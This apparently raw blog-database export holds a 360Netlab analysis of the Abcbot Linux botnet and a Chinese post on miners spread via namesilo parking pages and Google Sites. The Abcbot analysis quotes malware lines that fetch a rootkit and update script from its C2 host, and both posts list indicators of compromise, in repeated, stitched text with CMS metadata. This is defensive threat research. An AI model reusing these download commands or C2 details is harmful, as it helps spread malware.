sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);
When Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command"BigUdp" forwarded to the rootkit.
The supported commands are shown below.
* stop
* syn
* dns
* bigudp
We do not consider this approach to DDoS attacks a good one, as ATK rootkit is stored in the form of source code on a remote server,
xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"
thus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.
Apparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.
Summary
In the process of reverse analysis, we found many oddities in Abcbot, such as "repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR & Github resource servers, and webserver functionality not really enabled", which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens.
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IOC
C2 & Resource Server
DGA Domain(October)
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev
DGA Domain(November)
enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev
IP
103.209.103.16 China|Hong_Kong|Unknown AS63916|IPTELECOM_Global
Tor
http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion
Sample MD5
0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675
Downloader
http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nBusiness on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.\n\nOn July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path \"abc-hello\" string, we named it ``Abcbot`` internally.\n\nAt the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password & Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the \"dga.go\" string, but ``no related DGA implementation was found``. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.\n\nAs time passed, Abcbot has continued to evolve, and ``as we expected, it added the DGA feature in subsequent samples``. Today Abcbot has the ability to **self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation**. \n\nOn October 8, 2021, Trend Micro released [**an analysis of this family**](https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html), which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.\n\nGiven that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.\n\n# Timeline\n- On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.\n\n- July 22, 2021, abcbot updated to include dga-related code in the self-updating function.\n\n- October 10, 2021, abcbot performed minor update.\n\n- October 12, 2021, another update, with some major code structure changes.\n\n- October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.\n- October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.\n\n# Abcbot Overview\nWe use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password & Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.\n\nIt currently supports the following nine attack methods.\n\n- tls Attack\n- tcp Attack\n- udp Attack\n- ace Attack\n- hulk Attack\n- httpGet Attack\n- goldenEye Attack\n- slowloris Attack\n- bandwidthDrain Attack\n\nIts basic flow chart is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_brief.png\" width=\"860px\" />\n\n# Sample Analysis\n\nWe captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.\n```\nMD5:ae8f8cf967ca15a7689f2d1f79fbc5dc\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped\nPacker:upx\nDate:2021-10-30\n```\nAbcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.\n```\n/bin/dockerlogger\n/usr/bin/dockerlogger\n/etc/iptablesupdate\n```\nThe ``iptablesupdate`` process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.\n\nThe ``dockerlogger`` process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.\n\n## 0x01: Uploading device information to C2\nThe current Abcbot samples are hard-coded with a encrypted C2 string (\"GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu\"), which is encoded using Base64 & XOR encryption.\n\nThe Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as ``LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/`` \n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_base.png\" width=\"860px\" />\n\nBy dissociating the Base64 decoded result with ``0x31 0x32 0x33``, the following final result can be obtained\n```\nhttp://103.209.103.16:26800\n```\nAfter decrypting C2, both ``iptablesupdate`` and ``dockerlogger`` processes report device information to C2 via the path \"/api/postip\", and the format of the device information is ```OS:%v\\x09CPU:%v\\x09HX:%vh\\x09os-name:%v\\x09lanip:%v```. \n\nNote both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends \"\\td0.02\" to the reported information, while iptablesupdate appends \"\\ ti0.02\", where the \"d\" and \"i\" characters imply the process reporting the traffic, and \"0.02\" is similar to the version (in the October 21 sample, the version is \"0.01\").\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png\" width=\"860px\" />\n\nThe actual traffic generated is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_reg.png\" width=\"860px\" />\n\n## 0x02: Scan and propagation\nThe \"abc_hello_plugin_StartScan\" function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.\n\n\nThe following code snippet shows that Abcbot tries to attack Weblogic.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_logic.png\" width=\"860px\" />\n\nIn the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_serv.png\" width=\"860px\" />\n\nThe weak passwords and vulnerabilities used by Abcbot are the following\n- SSH weak password\n- FTP weak password\n- PostgreSQL weak password\n- Redis weak password\n- Mssql weak password\n- Mongo weak password\n- WebLogic Vulnerability (CVE-2020-14882)\n\n## 0x03: WebServer\nAbcbot uses the \"abc_hello_web_StartServer\" function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.\n\n| Method | Path |\n| ------ | --------------- |\n| POST | /api/postip |\n| POST | /api/configlist |\n| POST | /api/getlist |\n| POST | /api/check |\n\nThe actual effect is shown in the following figure.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_web.png\" width=\"860px\" />\n\nAt present, the path that really being called is \"/api/check\", which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_check.png\" width=\"860px\" />\n\nThe other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path \"/tmp.abchello\".\n\nIn fact, using \"curl-X POST\" cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.\n\n\n\n## 0x04: Self-updating\nOn July 22, Abcbot introduced the \"abc_hello_util_Updata\" function to handle self-updates. Its logic is to request the \"2.txt\" resource from the remote server. The \"2.txt\" consists of two parts, which are in the format of ``\"Resource(hex format)|digital signature(hex format)\"``. When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_verify.png\" width=\"860px\" />\n\nThe hard-coded public key in the sample is\n```\n-----BEGIN RSA PUBLIC KEY-----\n\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==\n\n-----END RSA PUBLIC KEY-----\n```\nAfter the verification is successful, the Resource is further decomposed, and the format of the Resource is ```\"cmd|downloader url| crc32|cmd2\"```.\n\nWhen the cmd is \"alldown2\", the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.\n\nThe actual 2.txt obtained is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_updata.png\" width=\"860px\" />\n\nThe Resource part is decoded in HEX format which represents update command.\n```\nalldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl\n```\nThere are 3 sources for the remote server domain name in this process as follows.\n\n1. Hard-coded TOR domain name (decryption method is the same as C2)\n\n2. DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name\n\n3. DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account\n\nThe code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_dga.png\" width=\"860px\" />\n\n\nThe domain names used for the samples at each time point are shown below.\n| Date | MD5 | Res Tor Domain | DGA Domain | DGA Github |\n| ----- | -------------------------------- | -------------- | ---------- | ---------- |\n| 07-14 | a14d0188e2646d236173b230c59037c7 | 0 | 0 | 0 |\n| 07-22 | e535215fad2ef0885e03ba111bd36e24 | 1 | 3/month | 1/month |\n| 10-10 | 6e66456ffb457c52950cf05a6aaabe4a | 1 | 3/month | 0 |\n| 10-12 | 39d373434c947742168e07cc9010c992 | 1 | 3/month | 0 |\n| 10-21 | e95c9bae6e2b44c6f9b98e2dfd769675 | 0 | 27/month | 0 |\n| 10-30 | ae8f8cf967ca15a7689f2d1f79fbc5dc | 0 | 27/month | 0 |\n\nPart of DGA-generated domain names for Abcbot in October are shown below.\n```\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\n\n```\n\nWhen Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_scale.png\" width=\"860px\" />\n\nThe current distribution of infected hosts by service providers is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_static.png\" width=\"860px\" />\n\n\n\n## 0x05: DDoS\nOn October 21, Abcbot introduced the \"main_TimeDDos\" function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path \"/api/getlist\", the instructions consist of 2 parts, ``\"DDoS instruction (hex format) | instruction digital signature (hex format)\"``. When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.\n\nThe actual traffic generated is shown below, the \"73746f70\" string before the \"|\" character is the \"stop\" instruction.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_ddos.png\" width=\"860px\" />\n\nInteresting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source [ATK Rootkit](https://github.com/millken/kdev/tree/master/4atk%201.05new) to implement the DDoS function. \n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png\" width=\"860px\" />\n\n\nAbcbot modified the main function in the ATK source code file ``share_atk_svr.c``, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91. \n\n```\nsockfd = socket(AF_INET, SOCK_DGRAM, 0);\nbzero(&servaddr, sizeof(servaddr));\nservaddr.sin_family = AF_INET;\n// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 \nservaddr.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\nservaddr.sin_port = htons(SERV_PORT);\n```\n\n\nWhen Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command\"BigUdp\" forwarded to the rootkit.\n\nThe supported commands are shown below.\n\n- stop\n- syn\n- dns\n- bigudp\n\n**We do not consider this approach to DDoS attacks a good one**, as ATK rootkit is stored in the form of source code on a remote server,\n```\nxl_x64scan1=\"http://103.209.103.16:26800/atk.tar.gz\"\nxl_x64scan2=\"http://103.209.103.16:26800/atk.tar.gz\"\n```\nthus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.\n\nApparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_attack.png\" width=\"860px\" />\n\n# Summary\nIn the process of reverse analysis, we found many oddities in Abcbot, such as \"repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR & Github resource servers, and webserver functionality not really enabled\", which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens. \n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n# IOC\n## C2 & Resource Server\n### DGA Domain(October)\n```\n\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\ngfgiudyyx.tk\ngfgiudyyx.com\ngfgiudyyx.pages.dev\nxgudyfyig.tk\nxgudyfyig.com\nxgudyfyig.pages.dev\nyugxdigfy.tk\nyugxdigfy.com\nyugxdigfy.pages.dev\ngdgiyyfxu.tk\ngdgiyyfxu.com\ngdgiyyfxu.pages.dev\ngdiuyyfgx.tk\ngdiuyyfgx.com\ngdiuyyfgx.pages.dev\nfgiudxyyg.tk\nfgiudxyyg.com\nfgiudxyyg.pages.dev\nygfydgxui.tk\nygfydgxui.com\nygfydgxui.pages.dev\n```\n### DGA Domain(November)\n```\nenjuyzkpr.tk\nenjuyzkpr.com\nenjuyzkpr.pages.dev\nrpzkjueyn.tk\nrpzkjueyn.com\nrpzkjueyn.pages.dev\nnkrjpezyu.tk\nnkrjpezyu.com\nnkrjpezyu.pages.dev\nunpeykzjr.tk\nunpeykzjr.com\nunpeykzjr.pages.dev\nypnuejrkz.tk\nypnuejrkz.com\nypnuejrkz.pages.dev\nnerjyzkup.tk\nnerjyzkup.com\nnerjyzkup.pages.dev\nnejpzykru.tk\nnejpzykru.com\nnejpzykru.pages.dev\nknjpeuzyr.tk\nknjpeuzyr.com\nknjpeuzyr.pages.dev\nzrkyenupj.tk\nzrkyenupj.com\nzrkyenupj.pages.dev\n```\n### IP\n```\n103.209.103.16\tChina|Hong_Kong|Unknown\tAS63916|IPTELECOM_Global\n```\n\n### Tor\n```\nhttp://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion\n```\n## Sample MD5\n```\n0786c80bfcedb7da9c2d5edbe9ff662f\n0f2619811ceaf85baa72f9c8f876a59a\n1177c135f15951418219a97b3caad4e1\n1a720cc74ecf330b8f13412de4d5646b\n39d373434c947742168e07cc9010c992\n3f277c7b4c427f9ef02cf8df4dd7be44\n5d37a61451e5cfdeca272369ac032076\n6e66456ffb457c52950cf05a6aaabe4a\n6e66456ffb457c52950cf05a6aaabe4a\n89ffd4f612ce604457446ee2a218de67\n8f3558b29d594d33e69cea130f054717\na14d0188e2646d236173b230c59037c7\na17ea52318baa4e50e4b6d3a79fbd935\na4c7917787dc28429839c7d588956202\nae8f8cf967ca15a7689f2d1f79fbc5dc\nbaeb11c659b8e38ea3f01ad075e9df9a\nc27d1c81a3c45776e31cfb384787c674\nc64fbc7d3586d42583aa3a0dc3ea529f\ne535215fad2ef0885e03ba111bd36e24\ne95c9bae6e2b44c6f9b98e2dfd769675\n```\n\n## Downloader\n```\nhttp://103[.209.103.16:26800/atk.tar.gz\nhttp://103[.209.103.16:26800/dd.sh\nhttp://103[.209.103.16:26800/ff.sh\nhttp://103[.209.103.16:26800/linux64-shell\nhttp://103[.209.103.16:26800/xlinux\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 618a237c3819e50007635d57 |
post | null | 2021-11-10T03:49:44.000Z | 63873b9a8b1c1e0007f52fef | li-yong-namesilo-parkinghe-googlede-zi-ding-yi-ye-mian-lai-chuan-bo-e-yi-ruan-jian | 0 | 2021-11-11T07:56:31.000Z | public | published | null | 2021-11-11T03:48:09.000Z | 快讯：利用namesilo Parking和Google的自定义页面来传播恶意软件 | <!--kg-card-begin: markdown--><h3 id="">摘要</h3>
<p>近期，我们发现一个GoELF可疑样本，分析得知是一个downloder，主要传播挖矿。有意思的地方在于传播方式，利用了namesilo的Parking页面，以及Google的用户自定义页面来传播样本及配置，从而可以躲避跟踪。</p>
<p>该样本最开始被友商腾讯安全团队捕获，不过传播链条分析中，对namesilo parking域名的分析不太准确。往往大家以为，域名停靠期间(Domain Parking），页面显示内容是被域名停靠供应商强制限定的，域名实际拥有者并不能修改其页面内容。但在这个案例中，域名停靠供应商允许域名拥有者自定义停靠页面。攻击者利用了这一点，再加上Google提供的自定义页面来传播自己的木马。</p>
<p>这样做有两个显而易见的好处：一方面攻击者几乎不需要为恶意代码的传播付出任何带宽和服务器的费用；另一方面攻击者将自己的恶意行为隐藏在大型互联网基础服务供应商的巨大流量中，所谓大隐于市，以此隐藏自己的行踪使得更难被检测和追踪。</p>
<p>在我们的DNSMon/DTA监测数据中显示，这种趋势在最近几月有上升迹象，值得安全社区注意。</p>
<h3 id="">缘起</h3>
<p>在10.13号，我们的BotnetMon根据样本网络流量，发现一个可疑的GoELF样本，会请求一个已知的可疑域名<code>www[.]hellomeyou.cyou</code>，这个域名在之前腾讯安全团队的一篇<a href="https://s.tencent.com/research/report/1219.html"><strong>挖矿木马报告</strong></a>中被披露过。</p>
<p>该样本是一个Miner/Downloader，业界公开的沙箱、引擎或报告已有具体分析，我们不再赘述。但是我们注意到，www.hellomeyou.cyou 历史上的DNS解析一直是 CNAME 到一个parking域名 parking.namesilo.com</p>
<pre><code>2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com
</code></pre>
<p>parking的域名一般都是注册但未启用，为何能成为恶意样本传播的一环，这让我们非常好奇。</p>
<p>登陆namesilo的用户服务界面得知，其ParkingPage 是用户可以自己定义内容的，进而给了黑客团伙的利用机会。<br>
<img src="__GHOST_URL__/content/images/2021/11/image--6-.png" alt="image--6-" loading="lazy"></p>
<p>我们DNSMon系统中对该网站的多次历史快照显示，页面的title是一个恶意样本链接，页面的description是xmrig配置。</p>
<p><img src="__GHOST_URL__/content/images/2021/11/webinsight.PNG" alt="webinsight" loading="lazy"></p>
<p>同时，description中还有对 github 和 google 的链接的利用，进一步分析可知，都是恶意软件传播中的一环。其中，google的自定义页面中包含了一个base64编码的xmrig挖矿软件。</p>
<p>很多文章都曾提到过parking和黑产的关系，但大都是指的一个普遍现象：一个域名被注册后，在没有修改DNS记录将其映射到自己的IP之前，基本都是parking状态，可能会被做一段时间的广告推广，可能会用来做引流，可能会涉及二次买卖，之后DNS记录变化，域名被映射到黑客自己控制的IP上，非parking状态，进而被黑产使用。</p>
<p><b style="color:#911">当前案例，是利用了“用户可控“的parking页面，在保持parking状态的时候，用于恶意软件推广。黑客不需要有自己的机器和IP，就只用域名注册商提供的parking的页面，以及google的自定义页面，来传播自己的木马。黑客团伙利用这些“公共设施”来组织自己的恶意软件传播链条，以部分的逃避跟踪和拦截。</b></p>
<p>最开始腾讯文中的分析，猜测“hellomeyou这个网站被攻击后，在网站中嵌入了这些内容。”，应该是不准确的，这是黑客团伙刻意的利用。</p>
<h3 id="">拓展</h3>
<p>通过页面相似性关联分析，我们在历史数据中一共获取了8条类似配置的web记录：</p>
<p><img src="__GHOST_URL__/content/images/2021/11/w2.PNG" alt="w2" loading="lazy"></p>
<p>对应捕获到2个样本</p>
<p><img src="__GHOST_URL__/content/images/2021/11/s.PNG" alt="s" loading="lazy"></p>
<p>我们回溯了360Netlab BotnetMon 中，涉及到 parking.namesilo.com 的恶意样本的历史情况，可以看到从6月份开始有了一个明显的突增。这个突增可能意味着该种利用方式、或者parking域名其他的利用方式，被黑客组织用的越来越多。</p>
<p><img src="__GHOST_URL__/content/images/2021/11/n.PNG" alt="n" loading="lazy"></p>
<h3 id="">总结</h3>
<p>IOC：</p>
<pre><code>485baeb56cde578cdfe8f88a04e29212
96dc8dcd5bf8f6e62c3ce5219e556ba3
f06d38aa4f472a7e557069cc681d997c
f24dc9c47d3698d94d60a08258bd2337
f6321c2f3bc22085e39d9f54e2275ece
hideme.cyou
hellomeyou.cyou
gannimachoubi.cyou
hvtde6ew5.top
https://sites.google.com/view/dogtoken/Home
https://sites.google.com/view/tabjoy/
</code></pre>
<blockquote>
<p>上述的分析过程，融合了PDNS、Web数据、样本以及沙箱等多维度的数据。我们近期推出了DTA产品，从DNS流量数据入手，深入分析客户流量，利用高质量威胁情报以及关联分析、机器学习、行为分析等技术，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。</p>
</blockquote>
<!--kg-card-end: markdown--> | 摘要
近期，我们发现一个GoELF可疑样本，分析得知是一个downloder，主要传播挖矿。有意思的地方在于传播方式，利用了namesilo的Parking页面，以及Google的用户自定义页面来传播样本及配置，从而可以躲避跟踪。
该样本最开始被友商腾讯安全团队捕获，不过传播链条分析中，对namesilo parking域名的分析不太准确。往往大家以为，域名停靠期间(Domain Parking），页面显示内容是被域名停靠供应商强制限定的，域名实际拥有者并不能修改其页面内容。但在这个案例中，域名停靠供应商允许域名拥有者自定义停靠页面。攻击者利用了这一点，再加上Google提供的自定义页面来传播自己的木马。
这样做有两个显而易见的好处：一方面攻击者几乎不需要为恶意代码的传播付出任何带宽和服务器的费用；另一方面攻击者将自己的恶意行为隐藏在大型互联网基础服务供应商的巨大流量中，所谓大隐于市，以此隐藏自己的行踪使得更难被检测和追踪。
在我们的DNSMon/DTA监测数据中显示，这种趋势在最近几月有上升迹象，值得安全社区注意。
缘起
在10.13号，我们的BotnetMon根据样本网络流量，发现一个可疑的GoELF样本，会请求一个已知的可疑域名www[.]hellomeyou.cyou，这个域名在之前腾讯安全团队的一篇挖矿木马报告中被披露过。
该样本是一个Miner/Downloader，业界公开的沙箱、引擎或报告已有具体分析，我们不再赘述。但是我们注意到，www.hellomeyou.cyou 历史上的DNS解析一直是 CNAME 到一个parking域名 parking.namesilo.com
2020-11-09 2021-11-07 19904 www.hellomeyou.cyou CNAME parking.namesilo.com
parking的域名一般都是注册但未启用，为何能成为恶意样本传播的一环，这让我们非常好奇。
登陆namesilo的用户服务界面得知，其ParkingPage 是用户可以自己定义内容的，进而给了黑客团伙的利用机会。
我们DNSMon系统中对该网站的多次历史快照显示，页面的title是一个恶意样本链接，页面的description是xmrig配置。
同时，description中还有对 github 和 google 的链接的利用，进一步分析可知，都是恶意软件传播中的一环。其中，google的自定义页面中包含了一个base64编码的xmrig挖矿软件。
很多文章都曾提到过parking和黑产的关系，但大都是指的一个普遍现象：一个域名被注册后，在没有修改DNS记录将其映射到自己的IP之前，基本都是parking状态，可能会被做一段时间的广告推广，可能会用来做引流，可能会涉及二次买卖，之后DNS记录变化，域名被映射到黑客自己控制的IP上，非parking状态，进而被黑产使用。
当前案例，是利用了“用户可控“的parking页面，在保持parking状态的时候，用于恶意软件推广。黑客不需要有自己的机器和IP，就只用域名注册商提供的parking的页面，以及google的自定义页面，来传播自己的木马。黑客团伙利用这些“公共设施”来组织自己的恶意软件传播链条，以部分的逃避跟踪和拦截。
最开始腾讯文中的分析，猜测“hellomeyou这个网站被攻击后，在网站中嵌入了这些内容。”，应该是不准确的，这是黑客团伙刻意的利用。
拓展
通过页面相似性关联分析，我们在历史数据中一共获取了8条类似配置的web记录：
对应捕获到2个样本
我们回溯了360Netlab BotnetMon 中，涉及到 parking.namesilo.com 的恶意样本的历史情况，可以看到从6月份开始有了一个明显的突增。这个突增可能意味着该种利用方式、或者parking域名其他的利用方式，被黑客组织用的越来越多。
总结
IOC：
485baeb56cde578cdfe8f88a04e29212
96dc8dcd5bf8f6e62c3ce5219e556ba3
f06d38aa4f472a7e557069cc681d997c
f24dc9c47d3698d94d60a08258bd2337
f6321c2f3bc22085e39d9f54e2275ece
hideme.cyou
hellomeyou.cyou
gannimachoubi.cyou
hvtde6ew5.top
https://sites.google.com/view/dogtoken/Home
https://sites.google.com/view/tabjoy/
上述的分析过程，融合了PDNS、Web数据、样本以及沙箱等多维度的数据。我们近期推出了DTA产品，从DNS流量数据入手，深入分析客户流量，利用高质量威胁情报以及关联分析、机器学习、行为分析等技术，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。
